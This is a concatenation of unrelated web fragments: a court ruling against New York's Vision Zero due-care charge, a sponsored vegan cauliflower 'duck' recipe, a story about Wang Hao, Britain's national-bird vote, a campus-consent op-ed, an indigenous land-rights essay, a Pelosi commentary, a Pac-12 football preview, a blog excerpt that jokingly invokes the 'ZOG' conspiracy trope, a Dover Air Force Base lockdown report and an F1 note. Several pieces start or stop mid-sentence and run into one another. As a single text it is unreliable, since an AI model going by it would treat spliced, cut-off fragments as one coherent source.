11. Every word you utter mattersMayor Bill de Blasio hoped to curb traffic injuries and deaths with his citywide Vision Zero initiative. View Full Caption DNAinfo/Katie Honan
QUEENS — A key part of the mayor's landmark pedestrian and bicycle safety initiative that penalizes drivers for hitting people is unconstitutional, a judge ruled Friday.
Queens Supreme Court Justice Gia Morris ruled that Mayor Bill de Blasio's Vision Zero charge, failure to exercise due care, violates defendants' right to due process as protected by the United States Constitution — saying the law puts the burden of proof on drivers to show they weren't driving negligently, which violates their presumption of innocence under the Fifth and Fourteenth amendments.
Morris' ruling came as part of a case against school bus driver Isaac Sanson, who fatally struck 85-year-old Jeanine Deutsch as she crossed the street in Forest Hills.
Sanson had just dropped off two kids at 108th Avenue and made a right turn onto 70th Road when he hit Deutsch in the crosswalk about 1 p.m. on Dec. 19, 2014, his passengers told prosecutors.
The Queens District Attorney has not yet decided whether to appeal the ruling by Morris, who was appointed by Mayor Michael Bloomberg.
"We are studying the decision and weighing our appellate options," said spokesman Kevin Ryan.
A spokesman for the de Blasio's office denounced the ruling and said that they plan to continue to encourage NYPD officers to use the city's administrative code 19-190, or failure to exercise due care.
"[The Vision Zero misdemeanor] is a vital tool to hold accountable drivers who seriously injure or kill pedestrians with the right of way while driving dangerously. This is an important piece of Vision Zero's comprehensive approach to reducing death and serious injury on our streets. We disagree with the court's non-binding decision and will continue to investigate, enforce and charge this law," said spokesman Austin Finan.
Morris' decision is the latest blow to de Blasio's central traffic safety plan that's faced strong |
social media. I LOVE seeing your recreations of my recipes!
Vegan Crispy Duck (Cauliflower) and Pancakes This vegan version of the classic Chinese takeaway dish Crispy Duck and Pancakes uses shredded seasoned and roasted cauliflower in place of the meat. It also has easy fresh plum sauce and 5 from 14 votes Print Pin Prep Time: 20 minutes Cook Time: 50 minutes Total Time: 1 hour 10 minutes Servings: 4 Author: Kate @ Veggie Desserts Ingredients For the vegan cauliflower crispy 'duck' 1 head of cauliflower (or 550g/190z frozen florets, defrosted slightly)
1 tbsp maple syrup
1 tbsp cooking oil
1 tsp soy sauce
1 tsp Chinese five-spice For the pancakes 210 g plain flour
230 ml boiling water
1 tsp cooking oil For the plum sauce 6 ripe plums
2 tbsp maple syrup
1 tsp rice wine vinegar
1 clove garlic minced
½ tsp ginger grated
1 star anise To serve: ½ cucumber cut into long thin strips
3 spring onions cut into long thin strips Instructions Preheat oven to 190C/375F.
Cut the cauliflower into bite-sized florets. In a large bowl, mix the maple syrup, oil, soy sauce and five-spice. Add the cauliflower and toss to coat thoroughly. Allow to marinade for 15 minutes.
Add the cauliflower to a large baking tray and roast for 35 minutes or until soft but crispy on the outside. Shred the cauliflower with two forks, then return to the oven and cook for a further 15 minutues. Meanwhile, make the plum sauce. Halve and stone the plums (don't peel them), then chop into large pieces and add them, along with all the other plum sauce ingredients to a pan over a medium heat. Bring to a boil, then simmer for 10 minutes or until the plums are cooked and soft. Remove the star anise, then puree with a hand held stick blender or with a potato masher. For the pancakes In a bowl, mix the flour, boiling water and oil with a spatula to form a dough. When it’s cool enough to handle, knead by hands for a few minutes until it’s smooth and elastic, then roll the dough into eight equal-sized balls. Roll each piece out very thinly (you may need to lightly flour the work surface). Heat a dry frying pan and cook each pancake for half a minute on each side, so they’re lightly cooked but aren’t browned. Repeat with the remaining dough. To serve Serve the pancakes topped with plum sauce, cauliflower crispy ‘duck’, cucumber and spring onions. Nutrition Facts Vegan Crispy Duck (Cauliflower) and Pancakes Amount Per Serving Calories 338 Calories from Fat 45 % Daily Value* Total Fat 5g 8% Sodium 96mg 4% Potassium 415mg 12% Total Carbohydrates 65g 22% Dietary Fiber 3g 12% Sugars 20g Protein 7g 14% Vitamin A 9.2% Vitamin C 31.1% Calcium 5.4% Iron 18.9% * Percent Daily Values are based on a 2000 calorie diet. Tried this recipe? Mention @kateveggiedesserts or tag #veggiedesserts
The Power of Frozen
I love meals where you can put out all the ingredients and let everyone assemble their own. It’s easier to serve and everyone can tuck into the parts they love. This vegan crispy duck is just that sort of meal. Double the recipe for a dinner party and add a few sides. Perhaps some spring rolls or fried wontons. I love adding as much veg as possible to every meal, so I served ours with Iceland Foods’ new multi greens rice steam bag. It’s simply a mix of rice-sized pieces of broccoli, curly kale, spinach, courgette and wakame seaweed – absolutely nothing else.
I’ve been working with Iceland Food for a while now, helping to spread the word about the #PowerofFrozen. Previously, I had thought that the shop only had frozen ready meals and wasn’t my sort of shop. Now, I’ve discovered that their freshly-frozen veggies are fresher than fresh. They freeze them as their picked to lock in goodness. Plus, they then turn them into products like Multi Greens – creative, healthy convenience food that can form the basis of many dishes. I’ll be using these multi greens in wraps, stews and sides. There aren’t any strange ingredients added to preserve it – freezing does that, naturally.
Pin for later!
Disclosure: Iceland Foods commissioned this recipe for Vegan Crispy Duck with Cauliflower, Fresh Plum Sauce and Pancakes. All opinions are my own. Thanks for supporting the brands that make it possible for me to mess up my kitchen and write Veggie Desserts.BEIJING -- China's national table tennis
team will give Olympic medalist Wang Hao counseling after he
reportedly got into a fight with a security guard for trying to
stop him from urinating outside a karaoke club.
Local media reports last week quoted witnesses as saying
that the two-time Olympic singles silver medalist had emerged
drunk from a karaoke club on Thursday and come to blows with
the security guard when he tried to urinate outside the
building.
"I am the famous Wang Hao! I am the world champion! Does it
matter if I beat you?" shouted the 24-year-old, according to a
witness quoted by the papers.
China's national table tennis team played down the incident
and said that Wang, who also won a team gold at the Beijing
Games, had merely had a heated exchange of words.
"There was no drunkenness or brawling. There was just an
argument," Monday's Shanghai Morning Post quoted China national
team manager Huang Biao as saying.
"Because Wang is a celebrity, the story has been
amplified."
Wang, a marquee player in China's premier table tennis
league, would nonetheless face punishment from his
army-affiliated club Bayi, the paper said, quoting the club's
coach Wang Tao, without providing further details.
Wang told state television the controversy had played a
part in his loss during a regular league match over the
weekend.
"It taught me that I have to be very careful about anything
I say or do," Wang told state broadcaster CCTV.Never mind who runs the country: choosing Britain’s national bird, from a shortlist of 10, is also the subject of a hotly contested vote. Here are the more elusive species and where to spot them
Birdwatcher and blogger David Lindo has had an idea that might unify the nation at election time: establishing a national bird. He wants us to get voting for the feathered friend that best personifies Great Britain. “We put a committee of bird lovers and experts together and they came up with a long list of 60. Now that’s been whittled down by public vote to a final round of 10 birds.”
It’s easy to disparage our native birds when compared with the gorgeous strutting colour bombs that adorn other nations: the Guatemalan quetzal or Papua New Guinea’s bird of paradise, for example. On top of that, we don’t have any endemic species or even very many species – around 600, compared with Colombia’s 1,821. On the other hand, we do have reasons to cheer: birdwatching is a British invention, as is bird conservation. We have hauled several species back from the brink, notably the red kite and the white-tailed eagle. Others have made themselves welcome recently – the rose-ringed parakeet, the egret and the collared dove among them. This is as good a time to be a British wild bird as any in the last century.
Of the 10 nominations for a national bird, four are common garden birds (blackbird, blue tit, robin and wren); spotting the others requires a journey for most of us, so here are suggestions for good places to watch them. Voting closes at midnight on 7 May. Lindo’s own choice is the blackbird, for its song – and for the Beatles’ one.
Puffin
The puffin seems eminently suitable to be our national bird: a dapper little character who is equally at home on sea or land, given to hedonistic feasting when the seasons allow, but also capable of austere self-denial (they spend their winters out in the North Atlantic). And going to see puffins is always a pleasure, because they only live in superior and beautiful locations. There’s Skomer in Pembrokeshire, for example, Bempton in East Yorkshire and Lundy Island (whose name is thought to derive from the old Norse for puffin). Lindo recommends Rathlin Island RSPB reserve in Northern Ireland, or those who like to be in the water could go on a “puffin patrol” kayak trip around the Channel Island of Herm. Most spectacular, however, must be St Kilda, in the Outer Hedbrides, where vast sea cliffs and abundant marine life make for sea bird heaven.
• Hebrides Cruises runs one-week expeditions to several Hebridean islands from £1,450. Kayak puffin patrols at Herm run April-June, £35pp, or boat trips cost £29.50
Hen harrier
Ornithologists are reluctant to reveal where, precisely, breeding hen harriers can be spotted: this marvellous bird’s existence is threatened constantly by egg collectors and misguided gamekeepers. The RSPB calculates that there is sufficient habitat for 300 breeding pairs in England, but only three pairs actually bred in 2014. An adult male in flight is a glorious sight, with its wingspan of well over a metre and ghostly grey plumage. Loch Shiel and Mull in Scotland are two possible locations; Blacktoft Sands RSPB reserve, at the confluence of the rivers Ouse and Trent, again in East Yorkshire, is a great wintering site; and there’s Orkney or the Forest of Bowland in Lancashire. The best site in the British Isles may be at Ballaugh Curragh marshes on the Isle of Man where, between October and March, harriers gather to roost before sunset.
Red kite
Red kite at Gigrin Farm, Wales. Photograph: Alamy
Not so long ago you had to travel a long distance to have a hope of seeing this bird, but a determined reintroduction campaign got the ball rolling and now … Well, I saw one soaring over the A1-M1 intersection near Leeds recently. The RSPB reckons there are 1,600 breeding pairs in Britain, but that seems a conservative estimate. At Gigrin Farm in mid-Wales they’ve been running a feeding centre to help the species for over two decades. Also worth trying are Galloway Forest kite trail, Stokenchurch in the Chilterns, Fineshade Woods near Corby, or the Black Isle north of Inverness.
Barn owl
Photograph: Alamy
Traditionally nesting in open agricultural buildings, barn owls suffered as those sites disappeared. But humans responded, and over half of barn owl nests are now thought to be in manmade boxes. Seeing its ghostly form gliding silently across the fields at dusk is very exciting. With over 4,000 breeding pairs and many more wintering here, they are not too hard to spot. East Anglia is generally good, on farmland, verges and coastal saltmarshes. In Wales, the Gwent Levels is good or, in Scotland, the Gordon Moss reserve near Kelso. The Barn Owl Trust has spotting tips, and centres around the country.
Mute swan
Mute swans at Abbotsbury swannery. Photograph: Alamy
We have only one resident swan species – the mute swan – and the most famous observation site is at Abbotsbury, Dorset, where the swannery is the only managed colony in the world. It was started by Benedictine monks in the 11th century.
Kingfisher
Facebook Twitter Pinterest Photograph: Joe Petersburger/Getty Images/National Geographic
That streak of aquamarine across the river is a glorious sight. There are around 90 species worldwide, most of them sharing that gorgeous blue plumage. Spotting them is generally easier in the south of Britain – they tend to suffer in the harsher winters of the north. There are a number of wetland reserves in the south where kingfishers regularly appear, such as Lee Valley Park in Hertfordshire. Rye Meads near Hertford is a good spot, with hides to observe them from, as are Radipole Lake in Weymouth, Attenborough nature reserve near Nottingham, and Fowlmere in Cambridgeshire. In Wales, twitchers may be lucky in Ynys Hir, Ceredigion, and in Scotland, where the species is increasing its range, there’s Lochwinnoch, Renfrewshire.
• To vote, visit votenationalbird.com David Lindo blogs at theurbanbirder.com
• This article was amended on 8 May 2015. The RSPB calculates that there is sufficient habitat for 300 breeding pairs of hen harriers in England, not Britain as originally stated. This has been corrected.Congress is still a complete dud, but at least our state legislatures are still capable of passing laws. In the wake of what’s been described as “an epidemic of campus sexual assault,” California has passed a law requiring all state-funded colleges and universities to enact affirmative consent policies that strictly define consent to engage in sexual activity. Who knew sex could be so complicated?
As anyone who’s gone to college within the past twenty years or so is well aware, we are not experiencing “an epidemic of sexual assaults” on college campuses any more than we have in the past. Sexual assault, or – why mince words? – rape, has been rampant at American universities for some time, but it’s not until very recently that the media and politicians have decided to openly address the issue.
Tackling sexual assault on campus has proven to be a very thorny issue, largely because colleges are filled with young people who, despite their book smarts and ability to memorize Bob Marley lyrics, are essentially brain dead. At the risk of sounding old, it’s becoming increasingly clear to me that most college students are bad at dealing the two things that thrill them most: sex and booze. And no one can deny that drinking is a major factor in sexual assault, both on campus and off.
The general consensus seems to be that the existing laws against sexual assault are not sufficient to deal with rape on college campuses. That’s probably because the party atmosphere and social culture that surrounds sex in university environments muddies the waters to the point that it’s hard to build a traditional criminal case against an accused rapist (which, from what I understand, is often a difficult task to begin with). Or it could just be that universities do a generally piss-poor job of treating their students as adults on any level, so why should holding them accountable for sex crimes be any different?
And so it’s come to this — California is the first state to require its colleges to set a formal standard for what qualifies as consent, and any accused sexual assailant who cannot show that the standard was complied with will be held accountable.
A strict definition of consent seems like a logical starting point. We’ve all heard the bit of wisdom that “no means no,” but that can leave some students with the murky impression that anything other than “no” means “yes.” And any Philosophy major who passed Intro to Logic knows that’s a fallacy.
So now every California campus will set specific guidelines for what counts as “yes,” and they’ll be tasked with somehow holding students accountable for following those guidelines. Some schools that have already set such standards require a distinct affirmative “yes” for each individual sex act engaged in. It’s downright unsexy, indeed. But unfortunately it appears that some dudes require this type of guidance.
So the students who abide by the affirmative consent standard might have some lame and awkward sex, but it’s not like they’ll know the difference. After all, isn’t bad sex that you think is great at the time what college is all about?
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The recent announcement by the United States military that it would not allow the Dakota Access Pipeline to jeopardize the lands and water sources of the Standing Rock Sioux Tribe was a remarkable landmark for indigenous struggles in the Americas. Though the victory might well not be permanent, it is still worth celebrating. However, it is vitally important that we do not lose sight of the many similar struggles indigenous and tribal peoples are facing around the world. From the scrublands of Patagonia to the icy reaches of the Arctic, the images of the Standing Rock protests that have been splashed across the American media may prove to be not only an inspiration, but a decisive turning point.
Of the hundreds of powerful photos currently that have circulated online of the extraordinary face-off between the Sioux protestors and North Dakota police, one is perhaps especially eye-catching. It shows a young Native American man wearing jeans, cowboy boots, and what appears to be an improvised gas mask, on a horse looking out at a police barricade. Behind a makeshift wall of abandoned tires and wood is a phalanx of police in uniform and helmets holding wooden clubs. They are flanked by armored vehicles that wouldn’t have been out of place in the Iraqi or Afghan wars.
The image evokes civil rights struggles of the recent past. The police with their tan shirts and macho postures even look like the men in 1960s Alabama who were photographed using water cannons and setting dogs on African American protestors. As far as indigenous peoples across the Americas are concerned however, it has an even older history. Those police, protecting the commercial interests of a major oil company, are merely the latest representatives of colonial powers that have appropriated indigenous land and resources and ruthlessly crushed resistance since 1492.
If the Dakota Access Pipeline was the only struggle of its kind going on in the American hemisphere in 2016 it would be easy to focus human rights and environmental campaigning efforts. Sadly however, it is simply the best known and most widely publicized example of a conflict over land and resources that cannot be ignored, and which is unwinding as we speak.
In the agricultural plantations of central Brazil, on fertile red land that used to be forest, the Guarani Kaiowa people are fighting every day for their land. The struggle has been going on for decades and very few victories have been won in that time. Despite determined resistance to the ranchers who steal their land and the hired gunmen who harass their communities almost daily, many Guarani have given up hope. The Kaiowa group of the tribe suffer the highest suicide rate in the world, and it is disproportionately high among young people and teenagers. Many are reduced to living on roadsides, drinking water contaminated by the pesticides used to grow cash crops on what is rightfully their land – under both Brazilian and international law.
In the Peruvian Amazon, in the heart of what Survival International defines as the Amazon Uncontacted Frontier, the mountains and rainforest shelter dozens of groups with little or no contact with mainstream society. They live sustainably, mostly as nomadic hunter gatherers, subsisting off the land as they have for generations. They know who “we” are but have chosen not to make contact, crossing spears in the forest or pointing arrows at passing planes to show that they wish to be left alone. Infectious diseases like flu and measles to which they have no resistance can be deadly for them, as can the violence too many people are willing to use to steal their land and resources.
Sadly, plans are in place to do just that on an industrial scale. The pro-“development” government of Pedro Pablo Kuczynski has just approved a “master plan” for oil exploration in the Sierra Divisor national park – a remote part of the frontier region home to distinct and precious biodiversity and many uncontacted people. The plan designated certain so-called “protected areas” as fair game, opening them up to a process that often involves massive explosive detonations below ground. It is obvious that this will disrupt uncontacted hunting grounds, cut off food sources. and massively increase the risk of deadly confrontations between tribespeople and oil company staff.
On the other side of the Amazon in northeastern Brazil, indigenous people cling to what little forest remains. In Arariboia indigenous territory, home to the Guajajara and Awá peoples, large-scale deforestation has left very little of the environment which the tribes have been dependent on and managed for millennia. Trucks full of illegally felled timber pass along the dirt roads that run through the territory with impunity. Tribal peoples, some of them uncontacted, flee the chainsaws and seek refuge in small patches of forest where they can hunt and forage for food in peace.
Remarkably, some of the contacted Indians in the region have taken to acting to defend their uncontacted tribal neighbors. A group from the Guajajara tribe, known as “The Guardians” have taken it upon themselves to protect the land. The leader of the group, Olimpio, put it simply: “We are defending our territory so that the uncontacted Awá can survive. We just want them to be left in peace.”
There is immense hostility in the area towards groups like the Guardians. Between September and November this year, six Guajajara men were murdered and then horribly dismembered by invaders to the territory. The local authorities who profit from the trade in illegal timber turn a blind eye to this brutality. The Guajajara and Awá have few allies, and Survival has been working for years to try and support their right to protect their lands, defend their lives and determine their own futures.
There are countless other examples. In the centre of the Amazon, a small group of uncontacted Indians known as the Kawahiva have been on the run for years, forced to move about constantly to escape invaders and the threats they bring. If their land was protected from the ranchers and loggers who are constantly looking to exploit it they could thrive. Instead, the department of the Brazilian government that is responsible for doing this is set to have its budget cut.
Likewise in Paraguay, small bands of Ayoreo Indians live a similarly threatened lives in the Chaco, a dry, scrubby forest which is being cut down faster than any other on Earth. Bulldozers, which the Ayoreo call “Beasts with metal skin,” tear down trees and dwellings and force the tribespeople to flee. Those Ayoreo who have been contacted have suffered from disease and ended up impoverished on the edges of Paraguayan society. The men scratch out a living wage laborers and many of the women turn to prostitution to survive. They are harassed by missionaries, and unscrupulous people looking to exploit them. Contact with mainstream society and moving out of the forest has not been “progress,” but rather, a death sentence.
Land theft is the biggest problem tribal peoples face. Around the world, industrialized society is stealing tribal lands in the pursuit of profit. This is a continuation of the invasion and genocide which characterized the European colonization of the Americas and Australia.
But for tribal peoples, land is life. It fulfills all their material and spiritual needs. Land provides food, housing and clothing. It’s also the foundation of tribal peoples’ identity and sense of belonging.
The theft of tribal land destroys self-sufficient peoples and their diverse ways of life. It causes disease, destitution and suicide. The evidence is indisputable. It’s time we recognized it, and fought for indigenous and tribal peoples’ fundamental right to self-determination on the land which is rightfully theirs. Standing Rock has shown the power of people standing up for their lives, lands and human rights, and at Survival we’re fighting for similar victories elsewhere in the world.Remember in December of 2016, after failing yet again to retake the House of Representatives, when Pelosi said this to CBS News’ John Dickerson:
“I don’t think people want a new direction, our values unify us and our values are about supporting America’s working families. That is one that everyone is in agreement on. What we want is a better connection of our message to working families in our country.
So after being kicked out of the majority in 2010, and subject to a shellacking in 2014 and 2016, I think it’s clear that they don’t want the Democrats helming the ship. That seems clear, Madame leader. America’s working class weren’t enthused by your message because you didn’t have one in 2014 or 2016. Right now, the party is being split in two by the progressive and establishment wings, a division that was rather explicit on the Democratic Party's (dis) Unity tour that Sen. Bernie Sanders (I-VT) and Democratic National Committee chair Tom Perez undertook last week. There are fights about social policy, especially health care, and now more heartburn over whether pro-life Democrats are a) really members of the party and b) deserving of support. The party is stumbling and the progressive wing sees people like Pelosi as the problem. That’s why she’s facing a primary challenge from Stephen Jaffe, a lawyer who worked with the Sanders campaign monitoring the Nevada Caucuses. His motivation could be summed up in two words: Bernie. Sanders (via NY Observer) [emphasis mine]:
Pelosi’s attitude has incited Sanders supporters to recruit progressive candidates to challenge establishment Democrats in their primary elections. Nancy Pelosi’s challenger, employment attorney Stephen Jaffe, recently launched his campaign. […] “My goal is to try to pull the Democratic Party away from the establishment, corporations, big money, big oil, big pharma, and return it to the people.” Jaffe co-founded the South Beach District 6 Democratic Club in San Francisco, for which he currently serves as president, and has a strong record of fighting for grassroots efforts in the congressional district Pelosi represents. Recently, he’s been pushing to remove dark money from politics in the San Francisco area. […] Sanders‘ campaign, as it has done for hundreds around the country, inspired Jaffe to run for office, to become the change that the Democratic Party so desperately needs. “I think Ms. Pelosi has served long and—for the most part—well. But, from my observations of the last year or so, particularly in her Town Halls with voters, I think she’s really out of touch with the voters in San Francisco. I think the district needs to be represented by someone more in touch with the voters and the constituents here, and I think I’m that person.”
Well, he’s not alone. In fact, 67 percent of the country feels that Democrats are out of touch. Pelosi’s comments from December only magnifies that aspect and increases frustration with the hard core left that feels they have what it takes to win again. If Pelosi can be bumped off in a primary, which is a long shot given the advantages of incumbency along with name recognition, then it’s certainly a warning shot. In fact, it would be big league. At the same time, even Jaffe admitted that Pelosi has served well in Congress. That might still be the prevailing mindset with Bay Area voters.
Pelosi has shown time and again how she’s unable to lead her party to the majority. If they wanted her out, they could have booted her. With no chance that a Republican would win in this progressive bastion, a more vibrant, left-leaning representative could have taken her place with no consequence. It never happened.
Feeling the Bern might not have been enough to beat the Clinton machine, but it’s moved down ticket. This might be good news for Democrats if Bernie Sanders was actually a member of the party. It’s a bit odd that the person who should be the leader of the Democratic Party right now, Tom Perez, is booed and heckled—while the independent is the one who gets all the love from the Left's most vocal supporters. Sanders energized the very elements that could have pushed the Democrats over the top in 2016. So, is Sanders a cancer or a cure for the Democratic Party? Before they answer that, the Left needs to find a legitimate leader, figure out their course for pro-life Democrats, and—most importantly—win some special elections that are coming up.It’s rivalry week for the Arizona Football team who has one goal in mind, keep the territorial cup in Tucson where it belongs.
Here are the standings for the Pac-12 by division, there are now eight teams who are bowl eligible including Arizona.
This is the first time the Cal Bears are bowl eligible since 2011. What’s surprising is that Washington State is bowl eligible for the first time since 2013, they have only been eligible twice since 2003. That said, the Pac-12 has messed up their chances of making it into the final teams for the NCAA Championship playoffs, but time will tell.
Two teams, Utah, and Stanford are 8-2, and four teams are 7-3: UCLA, USC, Washington State and Oregon, who have redeemed themselves in the last couple of games. Arizona and Arizona State are about tied, except for the fact that ASU got a bye, so Arizona has one more loss, but that is going to change this weekend if the players have anything to say about it.
If Stanford wins this weekend, they clinch the Pac-12 North division. The loss against the Wildcats caused the Ute’s chances of becoming the Pac-12 South division champs more tenuous. USC, UCLA, and Utah are all still in contention for the South crown. USC will have to lose one of their last games and Utah win their final two to become Champs. If both USC and UCLA post wins this weekend, then the USC vs. UCLA rivalry game will decide who becomes the Pac-12 South champion. Utah should win easily against Colorado, but you never know in the Pac-12.
In Pac-12 conference play to-date, the visiting team has won 23 out of 43 times, three more than the 20 that have lost while traveling. Great for the Wildcats.
The Sun Devils
In coach Todd Graham’s weekly press conference, he explained his opinion about The Territorial Cup, “This is a rival game and one that is very passionate on both sides. This game has been a game where it comes down to turnovers. You’ve got to win that battle. The years we’ve won that battle, we’ve won, and the years we haven’t, we haven’t.”
Graham was also asked about getting a win in a bowl game, and his response was as it should be, “You know, I really haven’t even — I mean, your first statement is the true statement, the most important statement, is that it’s the Territorial Cup. That’s it. Enough said. That’s how important it is.”
Graham spoke about the differences he sees in Arizona’s quarterbacks, “I think obviously Solomon is the more seasoned, more veteran, has more of a command of the offense, obviously, and Randall is just a tremendous athlete and very, very explosive, had a big, big game — threw the game-winning touchdown and came in and did a great job for them.”
Coach Graham confirmed that Arizona State safety Jordan Simone suffered a knee injury in the first half of their game against Washington and his season is over. He expects everyone else to play, unfortunately.
Graham announced that Jordan Simone is officially out of the season. — Devils Digest (@DevilsDigest) November 16, 2015
Senior quarterback Mike Bercovici threw for 253 yards and completed 22 out of 34 passes, one for a touchdown to WR Devin Lucien against the Huskies. Oh and he was sacked three times. Bercovici’s principal targets are senior WR/RB D.J. Foster, who caught five passes for 63 yards (26 longest) and junior TE Kody Kohl, who caught four passes for 63 yards (32 longest). The Sun Devils longest punt return last week was 16 yards.
Pac-12 Notes:
ASU is now one game away from becoming bowl eligible for the Fourth straight season under Graham, a feat no other Sun Devil head coach has accomplished in his first four seasons
Sophomore RB Kalen Ballage finished with 102 total yards (92 rushing, 10 receiving) and two rushing TDs in the win over Washington
Ballage has carried the ball 36 times for 301 yards (8.4 ypc) in the last three games after having just 183 yards on 53 carries (3.5 ypc) in his first four games
Senior WR D.J. Foster set a Pac-12 record of 50 consecutive games with a reception. It’s the longest active streak in the FBS.
The Wildcats
Arizona head coach Rich Rodriguez had a lot to say about his plans for this week’s preparations in Monday’s press conference, “We’ll talk about it with our players all week, we will have things on the television all week about the past rivalry games. We will put stuff in the locker rooms. We have about 35 newcomers in our program, and they need to understand the importance of this game. We will take everybody up. The guys who aren’t on the travel squad, including those who are injured will come up on the bus on Saturday with their teammates.”
Woo hoo! That means that Scooby and his teammates who are listed as “out” can go to the game and be on the sidelines. Scooby was active on the sidelines during the Utah game, and it helped!
Just how important does coach Rich Rod take this rivalry game? “This is as intense as any of the ones I have been involved in, and I have been involved in some big ones. I think the fact that it is in the same state, in the same conference, and the same division in the same conference, our staff knows each other..Our fans talk about this game year round. Our guys, our players, and our coaches here about it all the time. It is an intense rivalry, and a lot of emotion goes into it…there is still a lot at stake. It is the biggest game on our schedule every year.”
Rodriguez explained that Anu Solomon is day-to-day, he looks good, but “It’s up to the medical experts. If they tell Anu he can play then we will let him play.” The one thing that came out of last week’s win over the Ute’s was the injury to MLB Jake Matthews, who is out for the season with an injury and is having surgery this Friday.
Adam Green of ArizonaSports.com wrote a piece about sign stealing and quoted Coach Rodriguez on his tactics that will be different this week. He feels it’s all part of the game, and it’s up to him and his staff to mask the calls.
“I’ve seen the purple curtains with Washington and what color was Oregon,” he asked, before being informed they were white. “We may go with some fashion design, get some kind of really neat, kind of design and start a new trend in college football.” “I don’t think we’ll do the curtain thing, but I understand why,” he said. “But we will have a, I guess, different plan or special plan for that reason because they’re going to try to get your signals and they probably have multiple guys assigned to try to get your signals.
Pac-12 Notes:
Junior QB Anu Solomon completed 17-of-27 for 277 yards and two TDs in the win over Utah. The two TD passes gives him 46 in his career, moving him into a tie for third on UA’s all-time list (Tom Tunnicliffe, 1980-83). He now has 6,053 career passing yards, moving him up two spots into fourth on UA’s all-time list
Junior WR Cayleb Jones had five receptions for 126 yards and one TD against Utah, giving him his third 100-plus yard receiving performance this season, seventh of his career.
Last Meeting: Arizona secured the Pac-12 South title with a 42-35 win over Arizona State as freshman Nick Wilson rushed for 178 yards on 24 carries and 3 TDs. Scooby Wright III led the Arizona defense with 13 tackles, including five tackles for loss and a pair of sacks. Arizona State’s Taylor Kelly and Mike Bercovici combined to complete 27-of-44 for 267 yards and 4 TDs but were sacked seven times.
Before we get to the nitty-gritty of this rivalry, it’s history and game info, enjoy this video by @ UA_DigitalGurus, two-thirds in you will see and hear Rich Rod happy and his post-game pep talk and celebration in the locker room. It’s a MUST SEE video. Note Mrs. Rich Rod on the sidelines celebrating, and fan favorite Paul Magloire, who we think lost and possibly swallowed his tooth, but it didn’t phase him, he’s #hardedge.
Territorial Cup matchup history care of AZCentral.com:
ASU and Arizona have met 88 times in football.
The Wildcats lead the all-time series 48-39-1.
The lone tie came in 1987.
ASU leads the series in games played in Tempe 20-18-1.
Arizona leads the series in games played in Tucson 30-19.
Results of the last six games, the last two games the home team won (three wins each, home team in all caps):
2014: ARIZONA 42, Arizona State 35. 2013: ARIZONA STATE 58, Arizona 21. 2012: Arizona State 41, ARIZONA 34. 2011: Arizona 31, ARIZONA STATE 27. 2010: Arizona State 30, ARIZONA 29 (2 OT). 2009: Arizona 20, ARIZONA STATE 17.
Records: Arizona State (5-5, 3-4) vs. Arizona (6-5, 3-5) No Line Yet! will update (MGM)
Series: Arizona leads, 48-39-1. Last: ARIZ, 42-35 (2014)
Last game: Arizona State beat Washington 27-17, and Arizona beat Utah 37-30
Date: Saturday, Nov. 21
Game Time: 1:30 p.m. MST (AZ) and 12:30 p.m. PST, TV – Fox Sports 1, Radio – TuneIn, Arizona IMG Sports Network
Location: Sun Devil Stadium, Tempe, Arizona
Hashtag: #ASUvsAZ
Pre-Game Notes:
Both head coach Todd Graham and coach Rich Rodriguez have been with their respective program for four years.
Scoring Offense: Arizona ranks No. 4, Arizona State ranks No. 9
Field Goals: Arizona ranks No. 4 (95%), Arizona State ranks No. 11 (68%) – this is good if the game goes to overtime or comes down to a field goal
Rushing Offense: Arizona ranks No. 2, Arizona State ranks No. 6
Passing Offense: Arizona State ranks No. 5, Arizona ranks No. 6 |
you.” He made an initial non-aggressive advance, to which I reacted disgustedly yet non-aggressively, moving from the urinal into the privacy of a stall. Then when he made his second, more aggressive advance, he acted as though he was shocked by my anger and reactionary aggression toward him in response, claiming it had not been his intention to offend me. I knew what his intentions were, and that was offensive to me by definition, which I made clear after his first advance. So I wasn’t going for that “I didn’t mean to offend you” defense after his second advance. LA replies: LA replies: I would venture to say that the anti-Semites are worse. I don’t think even the most aggressive, flagrant homosexual—say, Harvey Milk—would visit or write to a person ill from cancer and facing death and proposition him. At least two anti-Semites have wrtiten to me since this post was published —a person who has made it abundantly clear that I want nothing to do with anti-Semites—and (a) spoken in friendly, confidential terms to me, then (b) expressed at length their feelngs about how horrible the Jews are and how they don’t deserve to exist on the earth. Anti-Semites are without conscience, without restraint. The one thing they they desire is to express their anti-Semitism, in any circumstance, no matter how inappropriate, no matter how bothersome to others. March 10 Karl D. writes: I was thinking about what motivates these anti-Semites to write you letters of praise only to be followed up my a vile expression of anti-Semitism. I think in part they are secretly hoping that you will have some sort of death bed conversion to their side or that deep down you really know the “truth,” and if only they could “reason” with you, you might toss them a crumb of acknowledgment. The very fact that they are even reaching out to you is sick and smacks of narcissism. They could care less about your condition, and their supposed admiration for your writings is a smokescreen. In the end it’s all about them and their anti-Semitic conspiratorial world views. Besides, aren’t you really a Zionist fifth columnist who has been duping us all for years while your Jewish pals met in smokey back rooms planning global domination under ZOG? LA replies: LA replies: EXACTLY.
Posted by Lawrence Auster at March 08, 2013 10:16 AM | Send
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Message (optional):Dover Air Force Base Lockdown Lifted Posted: Thursday, May 8, 2014 11:39 AM EDT Updated: Thursday, May 8, 2014 11:39 AM EDT Posted:Updated:
One of the main entrances to the Dover Air Force Base is shown shortly before before noon Thursday. The base is locked down due to a suspicious person on the grounds. (Photo: WBOC)
DOVER, Del. (WBOC/AP)- A lockdown has been lifted at Dover Air Force Base, officials said Thursday afternoon.
Military officials said in a news release that the lockdown was ordered as a precautionary measure after a suspicious individual was reported near Building 706 at around 11 a.m. Officials said it remained in effect until 2:40 p.m. when it was lifted after the reports of a suspicious person turned out to be false.
Public affairs officials say the initial reporter thought there was a possibly armed person running across a parking lot toward the hangar where planes are washed.
In a news release, 436 Airlift Wing Vice Commander Col. Randy Huiss apologized for the inconvenience and confusion caused by the response.
The elementary and middle schools on base were locked down while the base was. The Air Mobility Command Museum briefly locked down, too.
Traffic was stopped and backed up at both the main and north gates to DAFB.
The base operates one of the largest and busiest air freight terminals in the U.S. military. It is home to the nation's largest military mortuary and is the arrival point for the remains of troops who have died overseas.Martin Whitmarsh has praised Lewis Hamilton for his superb drive to victory in Canada, and especially the way he worked with the tyres over the course of the race.
Hamilton scored his third Montreal win after re-catching Alonso and Vettel following his second pit stop in dramatic fashion. It was his first success of the season, and came on the fifth anniversary of his first ever F1 win.
